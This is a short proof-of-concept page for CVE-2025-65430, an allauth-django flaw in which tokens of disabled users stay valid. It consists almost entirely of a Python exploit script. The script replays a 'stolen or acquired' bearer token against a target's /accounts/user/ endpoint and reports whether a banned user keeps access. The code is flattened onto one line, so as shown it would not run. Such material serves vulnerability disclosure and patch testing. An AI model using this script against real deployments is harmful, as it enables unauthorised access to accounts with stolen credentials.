CVE-2025-65430: allauth-django令牌失效绕过漏洞

import requests # CVE-2025-65430 PoC - allauth-django Token Invalidation Bypass # This PoC demonstrates that disabled user tokens remain valid TARGET_URL = "https://vulnerable-app.com" VICTIM_TOKEN = "your_stolen_or_acquired_access_token" def check_token_validity(token): """ Check if a token is still valid after user is disabled """ headers = { "Authorization": f"Bearer {token}", "Content-Type": "application/json" } response = requests.get(f"{TARGET_URL}/accounts/user/", headers=headers) if response.status_code == 200: print("[!] Token is still VALID - Vulnerability confirmed!") print(f"[+] Response: {response.json()}") return True elif response.status_code == 401: print("[+] Token is properly rejected - Fixed version") return False else: print(f"[-] Unexpected response: {response.status_code}") return None def exploit(): """ Exploit script for CVE-2025-65430 Steps: 1. Obtain valid token from active user 2. Wait for user account to be disabled (is_active=False) 3. Use the same token - it should be rejected but isn't """ print("[*] CVE-2025-65430 Exploitation Test") print("[*] Target: allauth-django < 65.13.0") # Test if token remains valid after user disable result = check_token_validity(VICTIM_TOKEN) if result: print("\n[!] VULNERABLE: Disabled user's token is still accepted") print("[*] This allows attackers to maintain access after being banned") if __name__ == "__main__": exploit()